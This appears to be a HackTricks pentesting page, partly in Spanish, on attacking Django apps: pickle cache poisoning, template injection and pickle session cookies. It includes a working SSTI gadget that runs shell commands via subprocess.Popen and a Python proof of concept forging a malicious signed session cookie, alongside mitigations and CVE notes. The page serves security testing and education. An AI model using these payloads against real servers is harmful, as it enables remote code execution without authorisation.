# Django {{#include ../../banners/hacktricks-training.md}} ## Cache Manipulation to RCE Django's default cache storage method is [Python pickles](https://docs.python.org/3/library/pickle.html), which can lead to RCE if [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **If an attacker can gain write access to the cache, they can escalate this vulnerability to RCE on the underlying server**. Django cache is stored in one of four places: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), or a [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache stored in a Redis server or database are the most likely attack vectors (Redis injection and SQL injection), but an attacker may also be able to use file-based cache to turn an arbitrary write into RCE. Los mantenedores lo han marcado como no problemático. Es importante notar que la carpeta de archivos del cache, el nombre de la tabla SQL y los detalles del servidor Redis variarán según la implementación. This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436 --- ## Server-Side Template Injection (SSTI) The Django Template Language (DTL) is **Turing-complete**. If user-supplied data is rendered as a *template string* (for example by calling `Template(user_input).render()` or when `|safe`/`format_html()` removes auto-escaping), an attacker may achieve full SSTI → RCE. ### Detección 1. Busca llamadas dinámicas a `Template()` / `Engine.from_string()` / `render_to_string()` que incluyan *cualquier* dato de la solicitud sin sanitizar. 2. Envía una carga útil basada en tiempo o aritmética: ```django {{7*7}} ``` Si la salida renderizada contiene `49`, la entrada es compilada por el motor de templates. ### Primitiva para RCE Django blocks direct access to `__import__`, but the Python object graph is reachable: ```django {{''.__class__.mro()[1].__subclasses__()}} ``` Encuentra el índice de `subprocess.Popen` (≈400–500 dependiendo de la build de Python) y ejecuta comandos arbitrarios: ```django {{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}} ``` Un gadget universal más seguro es iterar hasta `cls.__name__ == 'Popen'`. El mismo gadget funciona para **Debug Toolbar** o **Django-CMS** en las características de renderizado de plantillas que gestionan incorrectamente la entrada del usuario. --- ### También ver: ReportLab/xhtml2pdf PDF export RCE Las aplicaciones construidas sobre Django comúnmente integran xhtml2pdf/ReportLab para exportar vistas como PDF. Cuando HTML controlado por el usuario fluye hacia la generación de PDF, rl_safe_eval puede evaluar expresiones dentro de triple corchetes `[[[ ... ]]]`, permitiendo ejecución de código (CVE-2023-33733). Detalles, payloads, y mitigaciones: {{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md {{#endref}} --- ## Pickle-Backed Session Cookie RCE Si la configuración `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` está habilitada (o un serializer personalizado que deserializa pickle), Django *descifra y deserializa* la cookie de sesión **antes** de ejecutar cualquier código de vista. Por lo tanto, poseer una clave de firma válida (el `SECRET_KEY` del proyecto por defecto) es suficiente para ejecución remota de código inmediata. ### Requisitos del exploit * El servidor usa `PickleSerializer`. * El atacante conoce / puede adivinar `settings.SECRET_KEY` (leaks via GitHub, `.env`, páginas de error, etc.). ### Prueba de concepto ```python #!/usr/bin/env python3 from django.contrib.sessions.serializers import PickleSerializer from django.core import signing import os, base64 class RCE(object): def __reduce__(self): return (os.system, ("id > /tmp/pwned",)) mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer) print(f"sessionid={mal}") ``` Envía la cookie resultante, y el payload se ejecuta con los permisos del WSGI worker. **Mitigaciones**: Mantener el `JSONSerializer` por defecto, rotar `SECRET_KEY` y configurar `SESSION_COOKIE_HTTPONLY`. --- ## CVE recientes (2023-2025) de alto impacto de Django que los Pentesters deberían revisar * **CVE-2025-48432** – *Log Injection via unescaped `request.path`* (fixeado el 4 de junio de 2025). Permite a atacantes introducir nuevas líneas/códigos ANSI en los archivos de registro y envenenar el análisis de logs aguas abajo. Parche ≥ 4.2.22 / 5.1.10 / 5.2.2. * **CVE-2024-42005** – *Critical SQL injection* en `QuerySet.values()/values_list()` sobre `JSONField` (CVSS 9.8). Construir claves JSON para salir de las comillas y ejecutar SQL arbitrario. Fijado en 4.2.15 / 5.0.8. Siempre fingerprint la versión exacta del framework vía la página de error `X-Frame-Options` o el hash de `/static/admin/css/base.css` y prueba lo anterior cuando corresponda. --- ## Referencias * Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025. * OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024. * 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – [https://0xdf.gitlab.io/2025/08/09/htb-university.html](https://0xdf.gitlab.io/2025/08/09/htb-university.html) {{#include ../../banners/hacktricks-training.md}}